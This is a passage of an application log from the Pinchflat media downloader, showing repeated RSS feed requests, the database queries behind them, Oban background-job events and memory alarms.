OK source="sources" db=0.7ms queue=0.2ms idle=552.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 21:10:37.974 [debug] QUERY OK source="media_items" db=1.3ms idle=159.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 21:10:38.041 [debug] QUERY OK source="source_metadata" db=0.2ms idle=228.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 21:10:38.043 [debug] QUERY OK source="media_metadata" db=0.8ms queue=0.1ms idle=228.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 21:10:38.085 [info] Sent 200 in 114ms 21:11:00.036 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:11:00.596 [info] {"source":"oban","duration":1745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:30.599 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:54.445 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 21:11:54.445 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 21:11:54.447 [debug] QUERY OK source="sources" db=1.4ms queue=0.1ms idle=828.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 21:11:54.449 [debug] QUERY OK source="media_items" db=0.9ms queue=0.2ms idle=635.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 21:11:54.453 [debug] QUERY OK source="source_metadata" db=0.6ms idle=638.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 21:11:54.454 [debug] QUERY OK source="media_metadata" db=0.6ms queue=0.1ms idle=640.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 21:11:54.532 [info] Sent 200 in 41ms 21:11:59.458 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 21:12:00.037 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:12:00.601 [info] {"source":"oban","duration":1645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:30.604 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:00.039 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:13:00.607 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:30.609 [info] {"source":"oban","duration":1752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:00.041 [info] {"source":"oban","duration":553,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:14:00.612 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:30.614 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:59.481 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 21:15:00.043 [info] {"source":"oban","duration":437,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:15:00.617 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:30.619 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:00.045 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:16:00.621 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:14.270 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 21:16:14.270 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 21:16:14.272 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=882.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 21:16:14.273 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=406.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 21:16:14.275 [debug] QUERY OK source="source_metadata" db=0.2ms idle=408.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 21:16:14.276 [debug] QUERY OK source="media_metadata" db=0.4ms queue=0.1ms idle=409.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 21:16:14.276 [info] Sent 200 in 6ms 21:16:20.469 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 21:16:20.469 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 21:16:20.471 [debug] QUERY OK source="sources" db=0.7ms queue=0.4ms idle=603.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 21:16:20.472 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=605.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 21:16:20.474 [debug] QUERY OK source="source_metadata" db=0.5ms idle=607.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 21:16:20.475 [debug] QUERY OK source="media_metadata" db=0.6ms queue=0.1ms idle=608.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 21:16:20.476 [info] Sent 200 in 7ms 21:16:30.623 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:00.047 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:17:00.626 [info] {"source":"oban","duration":1717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:30.629 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:00.049 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:18:00.632 [info] {"source":"oban","duration":1966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:30.634 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:00.051 [info] {"source":"oban","duration":577,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:19:00.636 [info] {"source":"oban","duration":1820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:30.640 [info] {"source":"oban","duration":1903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:00.053 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:20:00.642 [info] {"source":"oban","duration":1372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:30.644 [info] {"source":"oban","duration":1595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:00.070 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:21:00.648 [info] {"source":"oban","duration":2413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:12.924 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 21:21:12.925 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 21:21:12.927 [debug] QUERY OK source="sources" db=1.1ms queue=0.2ms idle=1059.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 21:21:12.929 [debug] QUERY OK source="media_items" db=1.2ms queue=0.2ms idle=1061.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 21:21:12.932 [debug] QUERY OK source="source_metadata" db=0.3ms idle=1065.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 21:21:12.933 [debug] QUERY OK source="media_metadata" db=0.5ms queue=0.1ms idle=1066.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 21:21:12.934 [info] Sent 200 in 10ms 21:21:30.650 [info] {"source":"oban","duration":1686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:55.835 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 21:21:55.835 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 21:21:55.837 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=1599.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 21:21:55.839 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=971.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 21:21:55.841 [debug] QUERY OK source="source_metadata" db=0.3ms idle=974.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 21:21:55.858 [debug] QUERY OK source="media_metadata" db=16.5ms idle=975.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 21:21:55.859 [info] Sent 200 in 23ms 21:21:59.527 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 21:22:00.072 [info] {"source":"oban","duration":530,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:22:00.654 [info] {"source":"oban","duration":2794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:30.657 [info] {"source":"oban","duration":1376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:00.074 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:23:00.659 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:30.661 [info] {"source":"oban","duration":1666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:00.076 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:24:00.664 [info] {"source":"oban","duration":1161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:30.666 [info] {"source":"oban","duration":1448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:59.548 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 21:25:00.078 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:25:00.668 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:30.671 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:52.420 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 21:25:52.421 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 21:25:52.422 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=1555.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 21:25:52.425 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=1507.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 21:25:52.427 [debug] QUERY OK source="source_metadata" db=0.3ms queue=0.1ms idle=560.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 21:25:52.428 [debug] QUERY OK source="media_metadata" db=0.3ms queue=0.1ms idle=561.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 21:25:52.430 [info] Sent 200 in 10ms 21:26:00.080 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:26:00.673 [info] {"source":"oban","duration":1766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:26.870 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 21:26:26.870 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 21:26:26.949 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1081.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 21:26:26.979 [debug] QUERY OK source="media_items" db=28.9ms idle=1083.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 21:26:26.982 [debug] QUERY OK source="source_metadata" db=1.5ms idle=977.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 21:26:26.983 [debug] QUERY OK source="media_metadata" db=0.8ms queue=0.1ms idle=115.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 21:26:26.985 [info] Sent 200 in 115ms 21:26:30.676 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:00.082 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:27:00.679 [info] {"source":"oban","duration":1119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:30.681 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:00.084 [info] {"source":"oban","duration":563,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:28:00.684 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:30.686 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:00.087 [info] {"source":"oban","duration":456,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:29:00.688 [info] {"source":"oban","duration":1697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:30.691 [info] {"source":"oban","duration":1775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:00.089 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:30:00.694 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:30.696 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:51.743 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 21:30:51.744 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 21:30:51.745 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1878.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 21:30:51.747 [debug] QUERY OK source="media_items" db=1.2ms idle=1879.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 21:30:51.748 [debug] QUERY OK source="source_metadata" db=0.2ms idle=1882.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 21:30:51.749 [debug] 